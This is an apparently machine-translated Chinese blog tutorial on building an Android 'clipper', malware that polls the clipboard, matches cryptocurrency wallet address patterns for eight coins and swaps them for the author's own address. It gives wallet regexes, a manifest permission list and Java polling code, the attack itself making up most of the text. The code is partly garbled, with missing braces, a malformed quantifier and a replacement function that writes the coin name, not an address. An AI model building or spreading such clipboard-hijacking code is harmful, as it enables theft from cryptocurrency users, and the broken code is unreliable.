Clipper 在 Android 上的应用
概述、示例和技术细节在本文中,我们将讨论 Android 上的 Clippers 主题。我将提供一个简单的 Clipper 示例,解释其内部工作原理,并讨论加密货币钱包模式。
剪子有什么作用? -Clipper 是一种恶意软件,可以监视受害者设备上剪贴板的内容。它等待受害者复制加密钱包地址。
之后,裁剪器检查缓冲区中的文本是否与加密货币地址的模式匹配。如果找到匹配,剪辑器就会用攻击者控制的地址替换原始地址。受害者在没有仔细检查地址的情况下,将资金发送到欺骗的地址。操作原理简单但有效。让我们来看看技术细节。
加密钱包模式的示例 -我们来看看Bech32标准中的比特币地址格式。模式示例:
String bitcoinPattern = “^bc1[ac-hj-np-z02-9]{11.71}$”;
模式分析:
^bc1:所有 Bech32 格式地址均以“bc1”开头。[ac-hj-np-z02-9]:地址主要部分允许的字符范围。{11,71}:字符数,从 11 到 71。这些限制由 Bech32 标准定义。
不同的加密货币使用自己的地址格式。
其他加密货币钱包模式 –
Tron:
String tronPattern = “^T[1-9A-HJ-NP-Za-km-z]{33}$”;
Monero:
String moneroPattern = “^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$”;
Binance Coin (BNB):
String bnbPattern = “^bnb1[ac-hj-np-z02-9]{38}$”;
Ethereum:
String ethereumPattern = “^0x[a-fA-F0-9]{40}$”;
Solana:
String solanaPattern = “^[1-9A-HJ-NP-Za-km-z]{32,44}$”;
Litecoin:
String litecoinPattern = “^(L|M|ltc1)[a-zA-Z0-9]{26,48}$”;
Ravencoin:
String ravencoinPattern = “^R[1-9A-HJ-NP-Za-km-z]{33}$”;
每个模式对应于特定加密货币的唯一地址格式。
让我们继续看一个 Android 上的示例,该示例将检查剪贴板是否存在加密钱包并将其替换为我们的地址。
但在此之前我们需要在 AndroidManifest.xml 中设置权限 –
<uses-permission android:name=”android.permission.INTERNET” />*
<uses-permission android:name=”android.permission.WAKE_LOCK” />*
<uses-permission android:name=”android.permission.FOREGROUND_SERVICE” /> *
<uses-permission android:name=”android.permission.FOREGROUND_SERVICE_DATA_SYNC” />*
<uses-permission android:name=”android.permission.READ_CLIPBOARD”/>
在此示例中,无法授予访问互联网和使用 WAKE_LOCK 在 FOREGROUND_SERVICE 中工作的权限,但如果您想要完整的权限,那么无论如何你都会需要它。
clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
handler = new Handler();
clipboardChecker = new Runnable() {
@Override
public void run() {
ClipData clipData = clipboardManager.getPrimaryClip();
if (clipData != null && clipData.getItemCount() > 0) {
CharSequence clipboardText = clipData.getItemAt(0).getText();
if (clipboardText != null) {
String address = clipboardText.toString().trim();
String bitcoinPattern = “^bc1[ac-hj-np-z02-9]{11,71}$”; String tronPattern = “^T[1-9A-HJ-NP-Za-km-z]{33}$”;
String moneroPattern = “^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$”.,
String bnbPattern = “^bnb1[ac-hj-np-z02-9]{38}$”;
String ethereumPattern = “^0x[a-fA-F0-9]{40}$”;
String solanaPattern = “^[1-9A-HJ-NP-Za-km-z]{32,44}$”;
String litecoinPattern = “^(L|M|ltc1)[a-zA-Z0-9]{26,48}$”;
String ravencoinPattern = “^R[1-9A-HJ-NP-Za-km-z]{33}$”;
if (Pattern.matches(bitcoinPattern, address))
{updateClipboard(“Bitcoin”);
} else if (Pattern.matches(tronPattern, address)) { updateClipboard(“Tron”);
} else if (Pattern.matches(moneroPattern, address)) { updateClipboard(“Monero”);
} else if (Pattern.matches(bnbPattern, address)) { updateClipboard(“BNB”);
} else if (Pattern.matches(ethereumPattern, address)) { updateClipboard(“Ethereum”);
} else if (Pattern.matches(solanaPattern, address)) { updateClipboard(“Solana”);
} else if (Pattern.matches(litecoinPattern, address)) { updateClipboard(“Litecoin”);
} else if (Pattern.matches(ravencoinPattern, address)) { updateClipboard(“Ravencoin”);
handler.postDelayed(this, 500); handler.post(clipboardChecker);
private void updateClipboard(String newText) { ClipData clip = ClipData.newPlainText(“label”, newText); clipboardManager.setPrimaryClip(clip); clipp.setText(newText); Toast.makeText(MainActivity.this, “Буфер обмена обновлен: ” + newText, Toast.LENGTH_SHORT).show();
评论!
应该注意的是,在 FOREGROUND_SERVICE 中使用剪贴板可能很困难。
Leave a Reply